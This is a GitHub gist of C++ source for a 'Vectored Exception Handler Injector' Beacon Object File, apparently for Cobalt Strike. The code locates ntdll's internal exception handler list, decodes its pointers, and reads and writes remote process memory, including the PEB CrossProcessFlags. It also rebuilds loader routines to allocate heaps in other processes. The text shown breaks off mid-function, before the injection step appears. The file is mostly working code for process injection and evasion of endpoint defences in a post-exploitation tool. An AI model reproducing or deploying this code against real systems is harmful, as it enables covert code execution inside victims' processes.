Last active
October 22, 2024 07:34
-
-
Save rxwx/fec434dd551eb57390833b7e029a61b1 to your computer and use it in GitHub Desktop.
Vectored Exception Handler Injector BOF
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <stdio.h> | |
#include "VEH.h" | |
#include "ntos.h" | |
#include "ntrtl.h" | |
//#include "peb.h" | |
#include "ntldr.h" | |
#include "hwbp.h" | |
#include "base\helpers.h" | |
/** | |
* For the debug build we want: | |
* a) Include the mock-up layer | |
* b) Undefine DECLSPEC_IMPORT since the mocked Beacon API | |
* is linked against the the debug build. | |
*/ | |
#ifdef _DEBUG | |
#include "base\mock.h" | |
#undef DECLSPEC_IMPORT | |
#define DECLSPEC_IMPORT | |
#endif | |
extern "C" { | |
#include "beacon.h" | |
// CFG Stuff | |
PVOID LdrpAllocationGranularity = NULL; | |
PVOID LdrpMrdataHeap = NULL; | |
PVOID LdrpMrdataHeapUnprotected = NULL; | |
PVOID LdrpMrdataBase = NULL; | |
SRWLOCK LdrpMrdataLock; | |
SIZE_T LdrpMrdataSize; | |
int LdrpMrdataUnprotected; | |
// Used for RtlEncodePointer | |
ULONG g_CookieValue; | |
LONG CALLBACK MyVectoredHandler(PEXCEPTION_POINTERS ExceptionInfo) | |
{ | |
/*BeaconPrintf(CALLBACK_OUTPUT, "\n *** Hello from VEH!! *** \n"); | |
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord: %#llx", ExceptionInfo->ExceptionRecord); | |
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionAddress: %#llx [%d]", | |
ExceptionInfo->ExceptionRecord->ExceptionAddress, offsetof(EXCEPTION_RECORD, ExceptionAddress)); | |
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionFlags: %#llx [%d]", | |
ExceptionInfo->ExceptionRecord->ExceptionFlags, offsetof(EXCEPTION_RECORD, ExceptionFlags)); | |
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionCode: %#llx [%d]\n", | |
ExceptionInfo->ExceptionRecord->ExceptionCode, offsetof(EXCEPTION_RECORD, ExceptionCode)); | |
#ifdef _WIN64 | |
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord: %#llx [%d]", ExceptionInfo->ContextRecord, offsetof(EXCEPTION_POINTERS, ContextRecord)); | |
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rcx: %#llx [%d]", ExceptionInfo->ContextRecord->Rcx, offsetof(CONTEXT, Rcx)); | |
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rdx: %#llx [%d]", ExceptionInfo->ContextRecord->Rdx, offsetof(CONTEXT, Rdx)); | |
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->R8: %#llx [%d]", ExceptionInfo->ContextRecord->R8, offsetof(CONTEXT, R8)); | |
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->R9: %#llx [%d]", ExceptionInfo->ContextRecord->R9, offsetof(CONTEXT, R9)); | |
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rip: %#llx [%d]", ExceptionInfo->ContextRecord->Rip, offsetof(CONTEXT, Rip)); | |
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rax: %#llx [%d]", ExceptionInfo->ContextRecord->Rax, offsetof(CONTEXT, Rax)); | |
#endif | |
//ULONG_PTR retAddr = GetReturnAddress(ExceptionInfo->ContextRecord); | |
//BeaconPrintf(CALLBACK_OUTPUT, "Return Address: %#llx", retAddr); | |
*/ | |
return EXCEPTION_CONTINUE_EXECUTION; | |
} | |
LONG CALLBACK MyContinueHandler(PEXCEPTION_POINTERS ExceptionInfo) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "\n *** Hello from VCH!! *** \n"); | |
return EXCEPTION_CONTINUE_EXECUTION; | |
} | |
BOOL LdrControlFlowGuardEnforced() | |
{ | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
// return qword_7FFA77B093C8 && (dword_7FFA77B093AC & 1) == 0; | |
// LdrSystemDllInitBlock + 184 == CfgBitMap | |
// LdrSystemDllInitBlock + 156 == Flags (CfgOverride: 1) | |
HMODULE ntdll = GetModuleHandleA("ntdll.dll"); | |
if (ntdll == NULL) | |
return FALSE; | |
PPS_SYSTEM_DLL_INIT_BLOCK LdrSystemDllInitBlock = (PPS_SYSTEM_DLL_INIT_BLOCK)GetProcAddress(ntdll, "LdrSystemDllInitBlock"); | |
BOOL enforced = (LdrSystemDllInitBlock->CfgBitMap) && (LdrSystemDllInitBlock->Flags & 1) == 0; | |
BeaconPrintf(CALLBACK_OUTPUT, "LdrControlFlowGuardEnforced() => %d", enforced); | |
return enforced; | |
} | |
BOOL LdrControlFlowGuardEnforcedEx(HANDLE hProc) | |
{ | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
//DFR_LOCAL(KERNEL32, ReadProcessMemory); | |
//DFR_LOCAL(KERNEL32, GetProcessId); | |
//DFR_LOCAL(MSVCRT, calloc); | |
//DFR_LOCAL(MSVCRT, free); | |
HMODULE ntdll = GetModuleHandleA("ntdll.dll"); | |
if (ntdll == NULL) | |
return FALSE; | |
LPCVOID addr = GetProcAddress(ntdll, "LdrSystemDllInitBlock"); | |
PPS_SYSTEM_DLL_INIT_BLOCK LdrSystemDllInitBlock = (PPS_SYSTEM_DLL_INIT_BLOCK)calloc(1, sizeof(PS_SYSTEM_DLL_INIT_BLOCK)); | |
if (LdrSystemDllInitBlock == NULL || !ReadProcessMemory(hProc, addr, LdrSystemDllInitBlock, sizeof(PS_SYSTEM_DLL_INIT_BLOCK), NULL)) | |
return FALSE; | |
BOOL enforced = (LdrSystemDllInitBlock->CfgBitMap) && (LdrSystemDllInitBlock->Flags & 1) == 0; | |
free(LdrSystemDllInitBlock); | |
BeaconPrintf(CALLBACK_OUTPUT, "LdrControlFlowGuardEnforced() => %s (PID: %d)", | |
enforced ? "true" : "false", GetProcessId(hProc)); | |
return enforced; | |
} | |
ULONGLONG GetLdrpVectorHandlerList() { | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
//DFR_LOCAL(MSVCRT, memcpy); | |
HMODULE ntdll = GetModuleHandleA("ntdll.dll"); | |
if (ntdll == NULL) | |
return 0; | |
ULONGLONG procAddress = (ULONGLONG)GetProcAddress(ntdll, "RtlRemoveVectoredExceptionHandler"); | |
BYTE* Buffer = (BYTE*)(GetProcAddress(ntdll, "RtlRemoveVectoredExceptionHandler")); | |
//BeaconPrintf(CALLBACK_OUTPUT, "RtlRemoveVectoredExceptionHandler [%#llx]", procAddress); | |
DWORD dwCount = 0; | |
DWORD dwOffset = 0; | |
for (dwCount = 0; dwCount < 60; dwCount++) { | |
if ((*(Buffer + dwCount) == 0x4c) && (*(Buffer + dwCount + 1) == 0x8d) && (*(Buffer + dwCount + 2) == 0x25)) { | |
memcpy(&dwOffset, (Buffer + dwCount + 3), 4); | |
break; | |
} | |
} | |
return ((LONGLONG)Buffer + dwCount + 7 + dwOffset); | |
} | |
void DumpHandlerList(PVECTORED_HANDLER_LIST head) | |
{ | |
DFR_LOCAL(KERNEL32, DecodePointer); | |
PLIST_ENTRY Flink = head->HandlerList.Flink; | |
int count = 0; | |
BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock: %p", head->SrwLock); | |
BeaconPrintf(CALLBACK_OUTPUT, "&head->HandlerList: %p", &head->HandlerList); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Flink: %p", head->HandlerList.Flink); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Blink: %p", head->HandlerList.Blink); | |
for (PLIST_ENTRY next = Flink; next != &head->HandlerList && count < 255; next = next->Flink) | |
{ | |
PVECTORED_HANDLER_ENTRY entry = reinterpret_cast<PVECTORED_HANDLER_ENTRY>(next); | |
BeaconPrintf(CALLBACK_OUTPUT, "-->"); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry #%d", ++count); | |
BeaconPrintf(CALLBACK_OUTPUT, "&entry->Entry: %p", &entry->Entry); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Flink: %p", entry->Entry.Flink); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Blink: %p", entry->Entry.Blink); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown1: %llu", *entry->Unknown1); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown2: %lu", entry->Unknown2); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Handler: %p (decoded)", DecodePointer(entry->Handler)); | |
} | |
} | |
PVOID ReadPointer(HANDLE hProc, LPCVOID addr) | |
{ | |
//DFR_LOCAL(KERNEL32, ReadProcessMemory); | |
if (hProc == NULL) | |
return 0; | |
PVOID value = 0; | |
if (!ReadProcessMemory(hProc, addr, &value, sizeof(PVOID), NULL)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to read pointer at %#llx", addr); | |
return 0; | |
} | |
return value; | |
} | |
PPEB NtCurrentPeb() | |
{ | |
#if defined(_WIN64) | |
PPEB peb = (PPEB)__readgsqword(0x60); | |
#else | |
PPEB peb = (PPEB)__readfsdword(0x30); | |
#endif | |
return peb; | |
} | |
PVOID MemDecodePointer(PVOID Pointer, ULONG cookie) | |
{ | |
return (PVOID)(RotateRight64((ULONG_PTR)Pointer, 0x40 - (cookie & 0x3f)) ^ cookie); | |
} | |
PVOID MemEncodePointer(PVOID Pointer, ULONG cookie) | |
{ | |
return (PVOID)(RotateRight64((ULONG_PTR)Pointer ^ cookie, cookie & 0x3f)); | |
} | |
ULONG GetProcessCookie(HANDLE hProcess) { | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
NTSTATUS status; | |
ULONG dwProcCookie = 0; | |
HMODULE ntdll = GetModuleHandleA("ntdll.dll"); | |
if (ntdll == NULL) | |
return 0; | |
// TODO: syscalls | |
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess"); | |
status = NtQueryInformationProcess(hProcess, (PROCESSINFOCLASS)36, (DWORD_PTR*)&dwProcCookie, sizeof(ULONG), NULL); | |
if (status != 0) | |
{ | |
return 0; | |
} | |
return dwProcCookie; | |
} | |
void DumpHandlerListEx(HANDLE hProc, LPCVOID headAddr) | |
{ | |
//DFR_LOCAL(KERNEL32, ReadProcessMemory); | |
//DFR_LOCAL(KERNEL32, GetLastError); | |
//DFR_LOCAL(MSVCRT, calloc); | |
//DFR_LOCAL(MSVCRT, free); | |
//DFR_LOCAL(MSVCRT, memset); | |
if (hProc == NULL) | |
return; | |
SIZE_T bytesRead; | |
PVECTORED_HANDLER_LIST head = (PVECTORED_HANDLER_LIST)calloc(1, sizeof(VECTORED_HANDLER_LIST)); | |
if (head == NULL) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to allocate %d bytes for VECTORED_HANDLER_LIST", | |
sizeof(VECTORED_HANDLER_LIST)); | |
return; | |
} | |
if (!ReadProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesRead) || | |
bytesRead != sizeof(VECTORED_HANDLER_LIST)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to read handler list. Read=%d, Error=%d", | |
bytesRead, GetLastError()); | |
return; | |
} | |
DWORD count = 0; | |
DWORD cookie = GetProcessCookie(hProc); | |
PLIST_ENTRY Flink = head->HandlerList.Flink; | |
void* handlerListAddr = ((byte*)headAddr + offsetof(VECTORED_HANDLER_LIST, HandlerList)); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock: %#llx", head->SrwLock); | |
BeaconPrintf(CALLBACK_OUTPUT, "&head->HandlerList: %#llx", handlerListAddr); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Flink: %p", head->HandlerList.Flink); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Blink: %p", head->HandlerList.Blink); | |
PVECTORED_HANDLER_ENTRY entry = (PVECTORED_HANDLER_ENTRY)calloc(1, sizeof(VECTORED_HANDLER_ENTRY)); | |
if (entry == NULL) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to allocate %d bytes for VECTORED_HANDLER_ENTRY", | |
sizeof(VECTORED_HANDLER_ENTRY)); | |
return; | |
} | |
for (PLIST_ENTRY next = Flink; next != handlerListAddr && count < 255; | |
next = (PLIST_ENTRY)ReadPointer(hProc, ((byte*)next + offsetof(LIST_ENTRY, Flink)))) | |
{ | |
if (!ReadProcessMemory(hProc, next, entry, sizeof(VECTORED_HANDLER_ENTRY), &bytesRead) || | |
bytesRead != sizeof(VECTORED_HANDLER_ENTRY)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to read handler entry"); | |
break; | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "-->"); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry #%d", ++count); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry: %#llx", ((byte*)next + offsetof(VECTORED_HANDLER_ENTRY, Entry))); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Flink: %#llx", entry->Entry.Flink); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Blink: %#llx", entry->Entry.Blink); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown1: %llu", ReadPointer(hProc, entry->Unknown1)); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown2: %lu", entry->Unknown2); | |
BeaconPrintf(CALLBACK_OUTPUT, "entry->Handler: %p (decoded)", MemDecodePointer(entry->Handler, cookie)); | |
memset(entry, 0, sizeof(VECTORED_HANDLER_ENTRY)); | |
} | |
free(head); | |
free(entry); | |
} | |
void DumpHandlers(BOOL addVEH, BOOL addVCH) | |
{ | |
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler); | |
//DFR_LOCAL(KERNEL32, AddVectoredContinueHandler); | |
VECTORED_HANDLER_ENTRY* veh = NULL; | |
VECTORED_HANDLER_ENTRY* vch = NULL; | |
VECTORED_HANDLER_LIST* LdrpVectorHandlerList = (PVECTORED_HANDLER_LIST)GetLdrpVectorHandlerList(); | |
BeaconPrintf(CALLBACK_OUTPUT, "\n *** Metadata *** \n"); | |
if (addVEH) | |
{ | |
veh = (VECTORED_HANDLER_ENTRY*)AddVectoredExceptionHandler(1, MyVectoredHandler); | |
BeaconPrintf(CALLBACK_OUTPUT, "Address of VEH: %p", veh); | |
} | |
if (addVCH) | |
{ | |
vch = (VECTORED_HANDLER_ENTRY*)AddVectoredContinueHandler(1, MyContinueHandler); | |
BeaconPrintf(CALLBACK_OUTPUT, "Address of VCH: %p", vch); | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "MyVectoredHandler: %p", MyVectoredHandler); | |
BeaconPrintf(CALLBACK_OUTPUT, "MyContinueHandler: %p", MyContinueHandler); | |
BeaconPrintf(CALLBACK_OUTPUT, "LdrpVectorHandlerList: 0#%#llx", *(ULONG_PTR*)LdrpVectorHandlerList); | |
BeaconPrintf(CALLBACK_OUTPUT, "\n *** Vectored Exception Handlers *** \n"); | |
DumpHandlerList(&LdrpVectorHandlerList[0]); | |
BeaconPrintf(CALLBACK_OUTPUT, "\n *** Vectored Continue Handlers *** \n"); | |
DumpHandlerList(&LdrpVectorHandlerList[1]); | |
} | |
PVOID GetProcessHeapEx(HANDLE hProcess) { | |
//DFR_LOCAL(KERNEL32, ReadProcessMemory); | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
NTSTATUS status; | |
PVOID ProcessHeap = NULL; | |
PROCESS_BASIC_INFORMATION ProcessInformation{}; | |
HMODULE ntdll = GetModuleHandleA("ntdll.dll"); | |
if (ntdll == NULL) | |
return NULL; | |
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess"); | |
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, (DWORD_PTR*)&ProcessInformation, sizeof(ProcessInformation), NULL); | |
if (status != 0) | |
return NULL; | |
SIZE_T dwRead = 0; | |
PPEB pPEB = (PPEB)ProcessInformation.PebBaseAddress; | |
if (ReadProcessMemory(hProcess, (PBYTE)pPEB + offsetof(PEB, ProcessHeap), &ProcessHeap, sizeof(PVOID), &dwRead) == FALSE) | |
return NULL; | |
return ProcessHeap; | |
} | |
BOOL SetCrossProcessFlags(HANDLE hProcess, DWORD64 NewFlags) { | |
//DFR_LOCAL(KERNEL32, ReadProcessMemory); | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(KERNEL32, VirtualProtectEx); | |
//DFR_LOCAL(KERNEL32, WriteProcessMemory); | |
NTSTATUS status; | |
DWORD64 CrossProcessFlags = 0; | |
PROCESS_BASIC_INFORMATION ProcessInformation{}; | |
HMODULE ntdll = GetModuleHandleA("ntdll.dll"); | |
if (ntdll == NULL) | |
return FALSE; | |
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess"); | |
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, (DWORD_PTR*)&ProcessInformation, sizeof(ProcessInformation), NULL); | |
if (status != 0) | |
{ | |
return FALSE; | |
} | |
SIZE_T dwRead = 0; | |
PPEB pPEB = (PPEB)ProcessInformation.PebBaseAddress; | |
if (ReadProcessMemory(hProcess, (PBYTE)pPEB + 0x50, &CrossProcessFlags, sizeof(DWORD64), &dwRead) == FALSE) { | |
return FALSE; | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "Old CrossProcessFlags: %d", CrossProcessFlags); | |
// Add new flags | |
CrossProcessFlags |= NewFlags; | |
BeaconPrintf(CALLBACK_OUTPUT, "New CrossProcessFlags: %d", CrossProcessFlags); | |
DWORD oldProtect = 0; | |
if (!VirtualProtectEx(hProcess, (PBYTE)pPEB + 0x50, sizeof(DWORD64), PAGE_READWRITE, &oldProtect)) | |
{ | |
return FALSE; | |
} | |
SIZE_T bytesWritten = 0; | |
if (!WriteProcessMemory(hProcess, (PBYTE)pPEB + 0x50, &CrossProcessFlags, sizeof(DWORD64), &bytesWritten)) | |
{ | |
return FALSE; | |
} | |
return VirtualProtectEx(hProcess, (PBYTE)pPEB + 0x50, sizeof(DWORD64), oldProtect, &oldProtect); | |
} | |
LPVOID GetCrossProcessFlags(HANDLE hProcess, PEB* outPEB, DWORD64* CrossProcessFlags) { | |
//DFR_LOCAL(KERNEL32, ReadProcessMemory); | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
NTSTATUS status; | |
PROCESS_BASIC_INFORMATION ProcessInformation{}; | |
HMODULE ntdll = GetModuleHandleA("ntdll.dll"); | |
if (ntdll == NULL) | |
return NULL; | |
// TODO: syscalls | |
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess"); | |
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, (DWORD_PTR*)&ProcessInformation, sizeof(ProcessInformation), NULL); | |
if (status != 0) | |
{ | |
return NULL; | |
} | |
SIZE_T dwRead = 0; | |
if (outPEB != NULL && ReadProcessMemory(hProcess, ProcessInformation.PebBaseAddress, outPEB, sizeof(PEB), &dwRead) == FALSE) { | |
return NULL; | |
} | |
PPEB pPEB = (PPEB)ProcessInformation.PebBaseAddress; | |
if (CrossProcessFlags != NULL && ReadProcessMemory(hProcess, (PBYTE)pPEB + 0x50, (LPVOID)CrossProcessFlags, sizeof(DWORD64), &dwRead) == FALSE) { | |
return NULL; | |
} | |
return (LPVOID)ProcessInformation.PebBaseAddress; | |
} | |
ULONGLONG LdrpLocateMrdata() | |
{ | |
//DFR_LOCAL(KERNEL32, VirtualQuery); | |
BeaconPrintf(CALLBACK_OUTPUT, "LdrpLocateMrdata()"); | |
// TODO: still need to Reverse this func | |
// For now we can just return the page that the VEH list is in (as a cheat) | |
ULONGLONG result = 0; | |
PVOID addr = (PVOID)GetLdrpVectorHandlerList(); | |
MEMORY_BASIC_INFORMATION memInfo; | |
if (!VirtualQuery(&addr, &memInfo, sizeof(memInfo))) | |
__fastfail(5); | |
LdrpMrdataBase = addr; | |
LdrpMrdataSize = 0x1000; | |
LdrpMrdataUnprotected = memInfo.Protect & PAGE_READONLY; | |
//BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataBase = %p\n", LdrpMrdataBase); | |
//BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataSize = %llu\n", LdrpMrdataSize); | |
//BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataUnprotected = %d\n", LdrpMrdataUnprotected); | |
//__int64 v0; // rdx | |
//__int64 v1; // rax | |
//__int64 v2; // rdi | |
//__int64 v3; // rbx | |
//__int64 result; // rax | |
//__int64 v5; // [rsp+30h] [rbp+8h] BYREF | |
//RtlImageNtHeaderEx(3i64, 0x180000000ui64, 0i64, &v5); | |
//v1 = RtlSectionTableFromVirtualAddress(v5, v0, (unsigned int)&LdrSystemDllInitBlock - 0x80000000); | |
//if (!v1) | |
// __fastfail(5u); | |
//v2 = 0x180000000i64 + *(unsigned int*)(v1 + 12); | |
//v3 = *(unsigned int*)(v1 + 8); | |
//result = LdrpMakePermanentImageCommit(v2, v3); | |
//LdrpMrdataSize = v3; | |
//LdrpMrdataBase = v2; | |
return result; | |
} | |
NTSTATUS LdrpChangeMrdataProtection(ULONG Protect) | |
{ | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
NTSTATUS result; | |
ULONG OldProtect; | |
SIZE_T RegionSize; | |
PVOID BaseAddress; | |
HMODULE ntdll = GetModuleHandleA("ntdll"); | |
if (ntdll == NULL) | |
return STATUS_INVALID_HANDLE; | |
// TODO: syscalls | |
NtProtectVirtualMemory = (LPNTPROTECTVIRTUALMEMORY)GetProcAddress(ntdll, "NtProtectVirtualMemory"); | |
if (!LdrpMrdataBase) | |
LdrpLocateMrdata(); | |
OldProtect = Protect; | |
BaseAddress = LdrpMrdataBase; | |
RegionSize = LdrpMrdataSize; | |
//BeaconPrintf(CALLBACK_OUTPUT, "call NtProtectVirtualMemory"); | |
//BeaconPrintf(CALLBACK_OUTPUT, "Protect: %lu", Protect); | |
//BeaconPrintf(CALLBACK_OUTPUT, "RegionSize: %zu", RegionSize); | |
//BeaconPrintf(CALLBACK_OUTPUT, "BaseAddress: %p", BaseAddress); | |
result = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, OldProtect, &OldProtect); | |
//BeaconPrintf(CALLBACK_OUTPUT, "result = %d", result); | |
if (!NT_SUCCESS(result)) | |
__fastfail(5); | |
return result; | |
} | |
VOID NTAPI LdrProtectMrdata(int Protect) | |
{ | |
/* | |
* Rules for calling this function (as I understand it) | |
* | |
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == 1 will cause a __fastfail | |
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == -1 will cause a __fastfail | |
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected >= 1 will always increment LdrpMrdataUnprotected by 1 | |
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == 0 will: | |
* cause the protection to be changed to READWRITE | |
* increment LdrpMrdataUnprotected by 1 | |
* this means that LdrpMrdataUnprotected could be any value above 1, or even overflow (see above -1 check) | |
* | |
* Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected == 0 will cause a __fastfail | |
* Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected > 0 will always decrement LdrpMrdataUnprotected by 1 | |
* Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected == 1 will: | |
* cause the protection to be changed to READONLY | |
* decrement LdrpMrdataUnprotected by 1 | |
* | |
* Notes: | |
* a) you could crank up LdrpMrdataUnprotected to a high number and LdrProtectMrdata(1) | |
* will never actually set the page back to READONLY | |
* b) the caller has to check LdrpMrdataUnprotected to make sure they dont crash the process if its out of sync | |
* c) if LdrpMrdataUnprotected is uninitialised it will be treated as if the initial state is READONLY | |
*/ | |
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive); | |
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive); | |
int isReadWrite; // edi | |
BeaconPrintf(CALLBACK_OUTPUT, "LdrProtectMrdata(%d)", Protect); | |
BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataUnprotected: %d", LdrpMrdataUnprotected); | |
AcquireSRWLockExclusive(&LdrpMrdataLock); | |
isReadWrite = LdrpMrdataUnprotected; | |
//LdrProtectMrdata(0) | |
if (!Protect) | |
{ | |
// If MrData is READONLY (LdrpMrdataUnprotected == 0) | |
if (!LdrpMrdataUnprotected) | |
{ | |
LdrpChangeMrdataProtection(PAGE_READWRITE); | |
LABEL_5: | |
LdrpMrdataUnprotected = isReadWrite + 1; | |
return ReleaseSRWLockExclusive(&LdrpMrdataLock); | |
} | |
// else it's already READWRITE (LdrpMrdataUnprotected > 0) | |
// overflow check here | |
// but what happens if it's 2 or already 1? | |
if (LdrpMrdataUnprotected != -1) | |
goto LABEL_5; | |
LABEL_10: | |
ReleaseSRWLockExclusive(&LdrpMrdataLock); | |
__fastfail(0xEu); | |
} | |
// LdrProtectMrData(1) .. | |
// If MrData is READONLY (LdrpMrdataUnprotected == 0) | |
// Shouldn't call LdrProtectMrdata(0) when LdrpMrdataUnprotected == 0 | |
if (!LdrpMrdataUnprotected) | |
goto LABEL_10; | |
// Decrement LdrpMrdataUnprotected (i.e. from 1 to 0) | |
// But what happens if it was 2, does it go to 1? | |
--LdrpMrdataUnprotected; | |
// If LdrpMrdataUnprotected was originally 1 (i.e. READWRITE) | |
// When we entered the function, then it's safe to change to READONLY | |
if (isReadWrite == 1) | |
LdrpChangeMrdataProtection(PAGE_READONLY); | |
return ReleaseSRWLockExclusive(&LdrpMrdataLock); | |
} | |
NTSTATUS LdrEnsureMrdataHeapExistsEx(HANDLE hProc) | |
{ | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive); | |
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive); | |
NTSTATUS result; | |
PVOID pHeap; | |
PVOID alloc; | |
BOOLEAN ProtectHeap; | |
PVOID BaseAddress; | |
ULONG_PTR RegionSize; | |
if (hProc == NULL) | |
return STATUS_INVALID_HANDLE; | |
HMODULE ntdll = GetModuleHandleA("ntdll"); | |
if (ntdll == NULL) | |
return STATUS_INVALID_HANDLE; | |
// TODO: syscalls | |
NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(ntdll, "NtAllocateVirtualMemory"); | |
NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(ntdll, "NtFreeVirtualMemory"); | |
RtlCreateHeap = (RTLCREATEHEAP)GetProcAddress(ntdll, "RtlCreateHeap"); | |
RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(ntdll, "RtlAllocateHeap"); | |
RtlProtectHeap = (RTLPROTECTHEAP)GetProcAddress(ntdll, "RtlProtectHeap"); | |
RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(ntdll, "RtlFreeHeap"); | |
RtlDestroyHeap = (RTLDESTROYHEAP)GetProcAddress(ntdll, "RtlDestroyHeap"); | |
BeaconPrintf(CALLBACK_OUTPUT, "LdrEnsureMrdataHeapExistsEx"); | |
// If CFG is not enabled or LdrpMrdataHeap has already been allocated (i.e. not NULL) | |
if (!LdrControlFlowGuardEnforcedEx(hProc)) // || LdrpMrdataHeap) | |
return STATUS_SUCCESS; | |
BaseAddress = 0; | |
RegionSize = (ULONG_PTR)LdrpAllocationGranularity; | |
result = NtAllocateVirtualMemory(hProc, &BaseAddress, 0, &RegionSize, MEM_RESERVE, PAGE_READWRITE); | |
if (NT_SUCCESS(result)) | |
{ | |
pHeap = RtlCreateHeap(HEAP_GROWABLE, BaseAddress, 0, 0, 0, 0); | |
if (pHeap) | |
{ | |
alloc = RtlAllocateHeap(pHeap, 0, 4); | |
if (alloc) | |
{ | |
ProtectHeap = TRUE; | |
RtlProtectHeap(pHeap, ProtectHeap); | |
LdrProtectMrdata(FALSE); | |
AcquireSRWLockExclusive(&LdrpMrdataLock); | |
// Now we allocated a READONLY heap, lets update the global variables | |
if (!LdrpMrdataHeap) | |
{ | |
// LdrpMrdataHeapUnprotected will either be NULL or address of alloc | |
LdrpMrdataHeapUnprotected = alloc; | |
LdrpMrdataHeap = pHeap; | |
ReleaseSRWLockExclusive(&LdrpMrdataLock); | |
LdrProtectMrdata(TRUE); | |
return STATUS_SUCCESS; | |
} | |
ReleaseSRWLockExclusive(&LdrpMrdataLock); | |
LdrProtectMrdata(TRUE); | |
RtlProtectHeap(pHeap, 0); | |
RtlFreeHeap(pHeap, 0, alloc); | |
} | |
RtlDestroyHeap(pHeap); | |
} | |
// Free memory we allocated with NtAllocateVirtualMemory | |
// We get here if RtlCreateHeap or RtlAllocateHeap failed | |
